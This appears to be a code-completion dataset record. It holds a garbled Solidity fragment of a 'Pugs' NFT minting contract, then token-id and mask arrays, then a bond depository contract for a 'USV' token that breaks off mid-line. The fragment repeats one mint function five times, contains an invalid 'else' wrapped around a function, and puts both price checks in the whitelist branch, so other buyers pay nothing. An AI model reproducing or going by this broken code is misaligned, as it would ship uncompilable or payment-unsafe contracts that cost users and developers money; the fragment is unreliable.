lockLicense() public onlyOwner { licenseLocked = true; emit licenseisLocked(LICENSE_TEXT); } function licenses() public { _licenses(); } function changeLicense(string memory _license) public onlyOwner { require(licenseLocked == false, "License already locked"); LICENSE_TEXT = _license; } function mint(uint numberOfTokens, bytes32[] calldata proof) public payable { require(saleIsActive, "Sale must be active to mint Pugs"); require(!salelist[msg.sender], "Already minted account"); require(numberOfTokens > 0 && numberOfTokens <= maxPugsPurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_PUGS, "Purchase would exceed max supply of Pugs"); if (isWhitelistActive) { require(_verify(_leaf(msg.sender), proof), "invalid whitelist account"); require(msg.value >= pugsWLPrice.mul(numberOfTokens), "Ether value sent is not correct"); require(msg.value >= pugsPrice.mul(numberOfTokens), "Ether value sent is not correct"); } uint16 mintIndex = 0; for (uint16 j = 0; j < MAX_PUGS; j++) { if (!mintedlist[j]) { mintIndex = j; break; } } salelist[msg.sender] = true; mintedlist[mintIndex] = true; if (totalSupply() < MAX_PUGS) { _safeMint(msg.sender, mintIndex); } } function mint(uint numberOfTokens, bytes32[] calldata proof) public payable { require(saleIsActive, "Sale must be active to mint Pugs"); require(!salelist[msg.sender], "Already minted account"); require(numberOfTokens > 0 && numberOfTokens <= maxPugsPurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_PUGS, "Purchase would exceed max supply of Pugs"); if (isWhitelistActive) { require(_verify(_leaf(msg.sender), proof), "invalid whitelist account"); require(msg.value >= pugsWLPrice.mul(numberOfTokens), "Ether value sent is not correct"); require(msg.value >= pugsPrice.mul(numberOfTokens), "Ether value sent is not correct"); } uint16 mintIndex = 0; for (uint16 j = 0; j < MAX_PUGS; j++) { if (!mintedlist[j]) { mintIndex = j; break; } } salelist[msg.sender] = true; mintedlist[mintIndex] = true; if (totalSupply() < MAX_PUGS) { _safeMint(msg.sender, mintIndex); } } } else { function mint(uint numberOfTokens, bytes32[] calldata proof) public payable { require(saleIsActive, "Sale must be active to mint Pugs"); require(!salelist[msg.sender], "Already minted account"); require(numberOfTokens > 0 && numberOfTokens <= maxPugsPurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_PUGS, "Purchase would exceed max supply of Pugs"); if (isWhitelistActive) { require(_verify(_leaf(msg.sender), proof), "invalid whitelist account"); require(msg.value >= pugsWLPrice.mul(numberOfTokens), "Ether value sent is not correct"); require(msg.value >= pugsPrice.mul(numberOfTokens), "Ether value sent is not correct"); } uint16 mintIndex = 0; for (uint16 j = 0; j < MAX_PUGS; j++) { if (!mintedlist[j]) { mintIndex = j; break; } } salelist[msg.sender] = true; mintedlist[mintIndex] = true; if (totalSupply() < MAX_PUGS) { _safeMint(msg.sender, mintIndex); } } function mint(uint numberOfTokens, bytes32[] calldata proof) public payable { require(saleIsActive, "Sale must be active to mint Pugs"); require(!salelist[msg.sender], "Already minted account"); require(numberOfTokens > 0 && numberOfTokens <= maxPugsPurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_PUGS, "Purchase would exceed max supply of Pugs"); if (isWhitelistActive) { require(_verify(_leaf(msg.sender), proof), "invalid whitelist account"); require(msg.value >= pugsWLPrice.mul(numberOfTokens), "Ether value sent is not correct"); require(msg.value >= pugsPrice.mul(numberOfTokens), "Ether value sent is not correct"); } uint16 mintIndex = 0; for (uint16 j = 0; j < MAX_PUGS; j++) { if (!mintedlist[j]) { mintIndex = j; break; } } salelist[msg.sender] = true; mintedlist[mintIndex] = true; if (totalSupply() < MAX_PUGS) { _safeMint(msg.sender, mintIndex); } } function mint(uint numberOfTokens, bytes32[] calldata proof) public payable { require(saleIsActive, "Sale must be active to mint Pugs"); require(!salelist[msg.sender], "Already minted account"); require(numberOfTokens > 0 && numberOfTokens <= maxPugsPurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_PUGS, "Purchase would exceed max supply of Pugs"); if (isWhitelistActive) { require(_verify(_leaf(msg.sender), proof), "invalid whitelist account"); require(msg.value >= pugsWLPrice.mul(numberOfTokens), "Ether value sent is not correct"); require(msg.value >= pugsPrice.mul(numberOfTokens), "Ether value sent is not correct"); } uint16 mintIndex = 0; for (uint16 j = 0; j < MAX_PUGS; j++) { if (!mintedlist[j]) { mintIndex = j; break; } } salelist[msg.sender] = true; mintedlist[mintIndex] = true; if (totalSupply() < MAX_PUGS) { _safeMint(msg.sender, mintIndex); } } function setRoot(bytes32 _root) external onlyOwner { root = _root; } function _leaf(address account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(account)); } function _verify(bytes32 leaf, bytes32[] memory proof) internal view returns (bool) { return MerkleProof.verify(proof, root, leaf); } }
12,396,953
[ 1, 683, 9454, 1223, 335, 5350, 331, 22, 31, 1124, 6527, 404, 453, 9024, 87, 364, 5927, 300, 22374, 69, 3052, 19, 2050, 3128, 5527, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 453, 301, 457, 329, 52, 9024, 353, 4232, 39, 27, 5340, 16, 14223, 6914, 288, 377, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 2254, 1071, 5381, 943, 52, 9024, 23164, 273, 576, 31, 203, 565, 2254, 5034, 1071, 5381, 4552, 67, 18061, 16113, 273, 890, 7950, 31, 203, 565, 1426, 1071, 272, 5349, 2520, 3896, 273, 629, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 10734, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 12814, 5449, 31, 203, 565, 2874, 261, 11890, 1578, 516, 1426, 13, 3238, 312, 474, 329, 1098, 31, 203, 565, 1731, 1578, 1071, 1365, 31, 203, 203, 565, 2254, 1071, 293, 9024, 607, 6527, 273, 4711, 31, 203, 565, 871, 293, 9024, 461, 3043, 12, 2867, 389, 1637, 16, 2254, 389, 2316, 548, 16, 533, 389, 529, 1769, 377, 203, 565, 871, 8630, 291, 8966, 12, 1080, 389, 12687, 1528, 1769, 377, 203, 203, 377, 203, 203, 565, 3885, 1435, 4232, 39, 27, 5340, 2932, 52, 9024, 50, 4464, 3113, 315, 52, 301, 457, 329, 52, 9024, 7923, 2618, 203, 565, 445, 598, 9446, 1435, 1071, 1338, 5541, 288, 203, 3639, 389, 1918, 9446, 12, 3576, 18, 15330, 1769, 203, 565, 289, 203, 203, 565, 445, 16022, 18927, 12, 2867, 389, 869, 13, 1071, 1338, 5541, 288, 377, 203, 3639, 2583, 12, 5, 20409, 63, 67, 869, 6487, 315, 9430, 4104, 2236, 1199, 1769, 377, 203, 3639, 10734, 63, 67, 869, 65, 273, 638, 31, 203, 3639, 389, 6923, 774, 18927, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-12-01 */ // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IOwnable { function policy() external view returns (address); function renounceManagement() external; function pushManagement( address newOwner_ ) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed( address(0), _owner ); } function policy() public view override returns (address) { return _owner; } modifier onlyPolicy() { require( _owner == msg.sender, "Ownable: caller is not the owner" ); _; } function renounceManagement() public virtual override onlyPolicy() { emit OwnershipPushed( _owner, address(0) ); _owner = address(0); } function pushManagement( address newOwner_ ) public virtual override onlyPolicy() { require( newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed( _owner, newOwner_ ); _newOwner = newOwner_; } function pullManagement() public virtual override { require( msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled( _owner, _newOwner ); _owner = _newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract ERC20 is IERC20 { using SafeMath for uint256; // TODO comment actual hash value. bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256( "ERC20Token" ); mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 internal _totalSupply; string internal _name; string internal _symbol; uint8 internal _decimals; constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account_, uint256 ammount_) internal virtual { require(account_ != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address( this ), account_, ammount_); _totalSupply = _totalSupply.add(ammount_); _balances[account_] = _balances[account_].add(ammount_); emit Transfer(address( this ), account_, ammount_); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal virtual { } } interface IERC2612Permit { function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function nonces(address owner) external view returns (uint256); } library Counters { using SafeMath for uint256; struct Counter { uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } abstract contract ERC20Permit is ERC20, IERC2612Permit { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; bytes32 public DOMAIN_SEPARATOR; constructor() { uint256 chainID; assembly { chainID := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), keccak256(bytes("1")), // Version chainID, address(this) ) ); } function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "Permit: expired deadline"); bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline)); bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(_hash, v, r, s); require(signer != address(0) && signer == owner, "ZeroSwapPermit: Invalid signature"); _nonces[owner].increment(); _approve(owner, spender, amount); } function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } } interface ITreasury { function deposit( uint _amount, address _token, uint _profit ) external returns ( bool ); function valueOf( address _token, uint _amount ) external view returns ( uint value_ ); } interface IBarterCalculator { function valuation( address _LP, uint _amount ) external view returns ( uint ); function markdown( address _LP ) external view returns ( uint ); } interface IStaking { function stake( uint _amount, address _recipient ) external returns ( bool ); } interface IStakingHelper { function stake( uint _amount, address _recipient ) external; } contract UniversalBarterDepository is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMath for uint; /* ======== EVENTS ======== */ event BarterCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD ); event BarterRedeemed( address indexed recipient, uint payout, uint remaining ); event BarterPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable USV; // token given as payment for barter address public immutable principle; // token used to create barter address public immutable treasury; // mints USV when receives principle address public immutable AtlasTeam; // receives profit share from barter bool public immutable isLiquidityBarter; // LP and Reserve barters are treated slightly different address public immutable barterCalculator; // calculates value of LP tokens address public staking; // to auto-stake payout address public stakingHelper; // to stake and claim if no staking warmup bool public useHelper; Terms public terms; // stores terms for new barters Adjust public adjustment; // stores adjustment to BCV data mapping( address => Barter ) public barterInfo; // stores barter information for depositors uint public totalDebt; // total value of outstanding barters; used for pricing uint public lastDecay; // reference block for debt decay /* ======== STRUCTS ======== */ // Info for creating new barters struct Terms { uint controlVariable; // scaling variable for price uint vestingTerm; // in blocks uint minimumPrice; // vs principle value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint fee; // as % of barter payout, in hundreths. ( 500 = 5% = 0.05 for every 1 paid) uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt } // Info for barterer struct Barter { uint payout; // USV remaining to be paid uint vesting; // Blocks left to vest uint lastBlock; // Last interaction uint pricePaid; // In DAI, for front end viewing } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint buffer; // minimum length (in blocks) between adjustments uint lastBlock; // block when last adjustment made } /* ======== INITIALIZATION ======== */ constructor ( address _USV, address _principle, address _treasury, address _AtlasTeam, address _barterCalculator ) { require( _USV != address(0) ); USV = _USV; require( _principle != address(0) ); principle = _principle; require( _treasury != address(0) ); treasury = _treasury; require( _AtlasTeam != address(0) ); AtlasTeam = _AtlasTeam; // barterCalculator should be address(0) if not LP barter barterCalculator = _barterCalculator; isLiquidityBarter = ( _barterCalculator != address(0) ); } /** * @notice initializes barter parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _fee uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBarterTerms( uint _controlVariable, uint _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _fee, uint _maxDebt, uint _initialDebt ) external onlyPolicy() { require( terms.controlVariable == 0, "Barters must be initialized from 0" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, fee: _fee, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = block.number; } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, FEE, DEBT } /** * @notice set parameters for new barters * @param _parameter PARAMETER * @param _input uint */ function setBarterTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 58378, "Vesting must be longer than 36 hours" ); terms.vestingTerm = _input; } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.FEE ) { // 2 require( _input <= 10000, "AtlasTeam fee cannot exceed payout" ); terms.fee = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 3 terms.maxDebt = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint _buffer ) external onlyPolicy() { require( _increment <= terms.controlVariable.mul( 500 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastBlock: block.number }); } /** * @notice set contract for auto stake * @param _staking address * @param _helper bool */ function setStaking( address _staking, bool _helper ) external onlyPolicy() { require( _staking != address(0) ); if ( _helper ) { useHelper = true; stakingHelper = _staking; } else { useHelper = false; staking = _staking; } } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit barter * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint _amount, uint _maxPrice, address _depositor ) external returns ( uint ) { require( _depositor != address(0), "Invalid address" ); decayDebt(); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); uint priceInUSD = barterPriceInUSD(); // Stored in barter info uint nativePrice = _barterPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = ITreasury( treasury ).valueOf( principle, _amount ); uint payout = payoutFor( value ); // payout to barterer is computed require( payout >= 10000000, "Barter too small" ); // must be > 0.01 USV (10e7) ( underflow protection ) require( payout <= maxPayout(), "Barter too large"); // size protection because there is no slippage // profits are calculated uint fee = payout.mul( terms.fee ).div( 10000 ); uint profit = value.sub( payout ).sub( fee ); /** principle is transferred in approved and deposited into the treasury, returning (_amount - profit) USV */ IERC20( principle ).safeTransferFrom( msg.sender, address(this), _amount ); IERC20( principle ).approve( address( treasury ), _amount ); ITreasury( treasury ).deposit( _amount, principle, profit ); if ( fee != 0 ) { // fee is transferred to AtlasTeam IERC20( USV ).safeTransfer( AtlasTeam, fee ); } // total debt is increased totalDebt = totalDebt.add( value ); // depositor info is stored barterInfo[ _depositor ] = Barter({ payout: barterInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastBlock: block.number, pricePaid: priceInUSD }); // indexed events are emitted emit BarterCreated( _amount, payout, block.number.add( terms.vestingTerm ), priceInUSD ); emit BarterPriceChanged( barterPriceInUSD(), _barterPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem barter for user * @param _recipient address * @param _stake bool * @return uint */ function redeem( address _recipient, bool _stake ) external returns ( uint ) { Barter memory info = barterInfo[ _recipient ]; uint percentVested = percentVestedFor( _recipient ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete barterInfo[ _recipient ]; // delete user info emit BarterRedeemed( _recipient, info.payout, 0 ); // emit barter data return stakeOrSend( _recipient, _stake, info.payout ); // pay user everything due } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info barterInfo[ _recipient ] = Barter({ payout: info.payout.sub( payout ), vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ), lastBlock: block.number, pricePaid: info.pricePaid }); emit BarterRedeemed( _recipient, payout, barterInfo[ _recipient ].payout ); return stakeOrSend( _recipient, _stake, payout ); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to stake payout automatically * @param _stake bool * @param _amount uint * @return uint */ function stakeOrSend( address _recipient, bool _stake, uint _amount ) internal returns ( uint ) { if ( !_stake ) { // if user does not want to stake IERC20( USV ).transfer( _recipient, _amount ); // send payout } else { // if user wants to stake if ( useHelper ) { // use if staking warmup is 0 IERC20( USV ).approve( stakingHelper, _amount ); IStakingHelper( stakingHelper ).stake( _amount, _recipient ); } else { IERC20( USV ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient ); } } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer ); if( adjustment.rate != 0 && block.number >= blockCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target ) { adjustment.rate = 0; } } adjustment.lastBlock = block.number; emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = 